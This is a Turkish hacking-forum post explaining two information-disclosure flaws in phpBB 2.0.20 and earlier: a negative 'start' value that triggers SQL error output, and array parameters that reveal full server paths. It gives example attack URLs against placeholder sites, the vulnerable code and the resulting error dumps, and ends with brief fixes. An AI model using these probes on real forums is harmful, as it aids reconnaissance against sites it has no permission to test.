phpBB`nin tam yol goruntuleme& SQLhataları

SanalFiravun

Katılımcı Üye
7 Ara 2007
562
13
Dünyanın Tam ortası
Ürün açıklaması

phpBB yüksek güçlü, tamamen ölceklendirilebilir ve yüksek yapılandırma özelliklerine sahip açık kaynaklı forum uygulamalarındandir.

phpBB kullanıcı dostu bir arayuze, net bir yonetim paneline ve yardımsever bir SSS kısmına sahiptir.

Uygulama PHP tarafından yazılmış olup; MySQL,MS-SQL, PostgreSQL yada Access/ODBC veritabanları phpBB için idealdir.

iletişim için https://tik.lat/aNQrK

Exploitler 2.0.20 ve öncesi içindir ..

# SQL hataları

SQL sorgularından Limit fonksiyonuna istediğimiz herhangi bir tam sayı degeri girebildiğimiz için olusmaktadır.

örneğin:
http://[acigiBulunanSite.xxx]/[dizinler]/[phpBBdizini]/memberlist.php?start=-1

Bu açıga neden olan kod blogu:

$start = ( isset($HTTP_GET_VARS[’start’]) ) ? intval($HTTP_GET_VARS[’start’]) : 0;

Yarattığı sonuc:

Could not query users

DEBUG MODE

SQL Error : 1064 You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near ’-1, 50’ at line 4

SELECT username, user_id, user_viewemail, user_posts, user_regdate, user_from, user_website,
user_email, user_icq, user_aim, user_yim, user_msnm, user_avatar, user_avatar_type,
user_allowavatar FROM phpbb_users WHERE user_id <> -1 ORDER BY user_regdate ASC LIMIT
-1, 50

Line : 151
File : memberlist.php


# Tam yol görüntüleme

Birçok uygulamada oldugu gibi phpBBdede bu basit hata bulunmaktadır. Bu hata kod bloklarına(fonsiyonlara) eklenen değişkenlerden kaynaklanmaktadır. Örneğin

PHPde htmlspecialchars() fonksiyonu..

...
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|ls", &str,
&str_len, "e_style, &hint_charset, &hint_charset_len) == FAILURE) {
return;
}
...

Yukarıda goruldugu gibi giriş değişkeni için bir koruma goruluyor, fakat eger değişken string değişken tipinden farklıysa tam yol goruntuleme acıgı olusmaktadır.

örneğin: http://[acigiBulunanSite.xxx]/[dizinler]/[phpBBdizini]/memberlist.php?mode[]=cx
http://[acigiBulunanSite.xxx]/[dizinler]/[phpBBdizini]/viewtopic.php?t=2&highlight[]=cx

Bu açıga neden olan kod blogu:

if ( isset($HTTP_GET_VARS[’mode’]) || isset($HTTP_POST_VARS[’mode’]) )
{
$mode = ( isset($HTTP_POST_VARS[’mode’]) ) ? htmlspecialchars($HTTP_POST_VARS[’mode’]) :
htmlspecialchars($HTTP_GET_VARS[’mode’]);
}
else
{
$mode = ’joined’;
}

Sonuclar php.ini deki display_errors değişkeni 1 e eşitse gosterilir, örneğin:

Warning: htmlspecialchars() expects parameter 1 to be string, array given in
/www/[dizinler]/[phpBBdizini]/memberlist.php on line 40

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/memberlist.php:40) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/memberlist.php:40) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/memberlist.php:40) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 486

Warning: htmlspecialchars() expects parameter 1 to be string, array given in
/www/[dizinler]/[phpBBdizini]/viewtopic.php on line 487

Warning: urlencode() expects parameter 1 to be string, array given in
/www/[dizinler]/[phpBBdizini]/viewtopic.php on line 498

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/viewtopic.php:487) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 483

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/viewtopic.php:487) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 485

Warning: Cannot modify header information - headers already sent by (output started at
/www/[dizinler]/[phpBBdizini]/viewtopic.php:487) in /www/[dizinler]/[phpBBdizini]/includes/page_header.php on line 486

Bu gibi acıkları yok etmek için ya php.ini deki display_errors değerini 0 yapıp kapatıcaz yada gelmesini istediğimiz veriyi işlemeden önce kontrol ediceğiz.

örnek kontrol fonksiyonları:

is_string() değişken tipi eger bir string ise True degilse False degeri üretir.
abs() girilen sayının mutlak degerini üretir.

daha fazlası için https://tik.lat/6xoWS
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.